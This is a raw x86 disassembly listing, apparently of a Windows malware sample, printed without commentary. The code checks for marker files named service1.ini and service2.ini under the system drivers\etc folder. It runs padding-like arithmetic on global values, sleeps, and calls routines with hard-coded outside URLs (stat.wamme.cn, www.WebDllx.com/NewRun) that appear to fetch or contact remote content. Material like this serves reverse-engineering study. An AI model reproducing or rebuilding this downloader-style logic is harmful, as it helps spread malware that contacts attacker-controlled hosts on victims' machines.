push str.C:WINDOWS_system32driversetc_service1.ini
mov dword [str._r_____r____], ecx
call fcn.0042995d
add esp, 8
cmp eax, 0xffffffff
je 0x403791
push 0
push str.C:WINDOWS_system32driversetc_service2.ini
call fcn.0042995d
add esp, 8
cmp eax, 0xffffffff
jne 0x403798
push 0
call fcn.00429b2a
lea ecx, [ebp - 0x814]
lea edx, [ebp - 0x614]
mov al, byte [ecx]
inc ecx
mov byte [edx], al
inc edx
test al, al
jne 0x4037a4
mov ecx, dword [0x455690]
mov esi, dword [0x4556a8]
mov eax, 0x5d0a95d5
imul esi, esi, 0x212c
imul ecx
mov ecx, dword [0x4556a0]
sar edx, 0xb
imul ecx, ecx, 0x11be
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
sub edi, esi
mov esi, dword [0x455694]
add edi, ecx
mov ecx, dword [0x45568c]
mov eax, 0x4b438bdf
imul ecx
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add edi, edx
add eax, edi
sub eax, esi
add eax, 0x1e03
push 0x132b600
mov dword [0x45568c], eax
call sym.CallDll.exe_int___cdecl_process5_int_
add esp, 4
push 0x1388
call ebx
mov ecx, dword [0x455698]
mov eax, 0x3dbd3249
imul ecx
sar edx, 0xb
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov esi, ecx
mov ecx, dword [0x455694]
mov eax, 0x5d0a95d5
imul ecx
mov ecx, dword [0x4556a8]
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x736e5bc3
imul ecx
imul ecx, ecx, 0x544
push 0
sar edx, 0xb
push 0
mov eax, edx
push 0
shr eax, 0x1f
add eax, edx
mov edx, dword [0x4556a0]
push 0
imul edx, edx, 0xd9b
push str.http:__stat.wamme.cn_C8C_gl_cnzz60.html_pagehttp:__www.WebDllx.com_NewRun
push 0x45567c
push 0
sub esi, eax
mov eax, dword [ebp + 8]
push 0
push 1
add esi, edx
add eax, 0x74
sub esi, ecx
push 0x68
push eax
mov dword [0x455698], esi
call fcn.0043bcba
add esp, 0x2c
push 0x2710
call ebx
mov esi, dword [str._r_____r____]
mov ecx, dword [0x45568c]
imul esi, esi, 0x1603
mov edx, dword [0x455698]
imul edx, edx, 0xe0e
mov eax, ecx
imul eax, eax, 0x11be
add esi, eax
add esi, edx
mov edx, dword [0x45569c]
mov eax, 0x4b438bdf
imul edx
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x4556a4]
sub esi, eax
lea esi, [esi + edx - 0x544]
mov dword [0x455694], esi
xor edi, edi
mov ebx, dword [0x455690]
mov eax, 0x27e98ca1
imul ebx, ebx, 0x2367
imul esi
imul esi, esi, 0x544
sar edx, 0xa
add ebx, edx
mov eax, edx
mov edx, ecx
imul edx, edx, 0x15e3
shr eax, 0x1f
add eax, ebx
add eax, edx
mov ebx, eax
mov eax, 0x48dbb693
imul ecx
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
add ebx, esi
push 0x2710
mov dword [0x45569c], ebx
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [0x45568c]
mov esi, dword [0x455694]
inc edi
jmp 0x403911
mov esi, dword [str._r_____r____]
mov ecx, dword [0x45568c]
imul esi, esi, 0x1603
mov edx, dword [0x455698]
imul ecx, ecx, 0x11be
imul edx, edx, 0xe0e
add esi, ecx
mov ecx, dword [0x45569c]
add esi, edx
mov eax, 0x4b438bdf
imul ecx
mov ecx, dword [0x4556a4]
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
lea edx, [esi + ecx - 0x544]
push 0x493e0
mov dword [0x455694], edx
call ebx
push 0
call fcn.00429b2a
mov eax, 0x4039d2
ret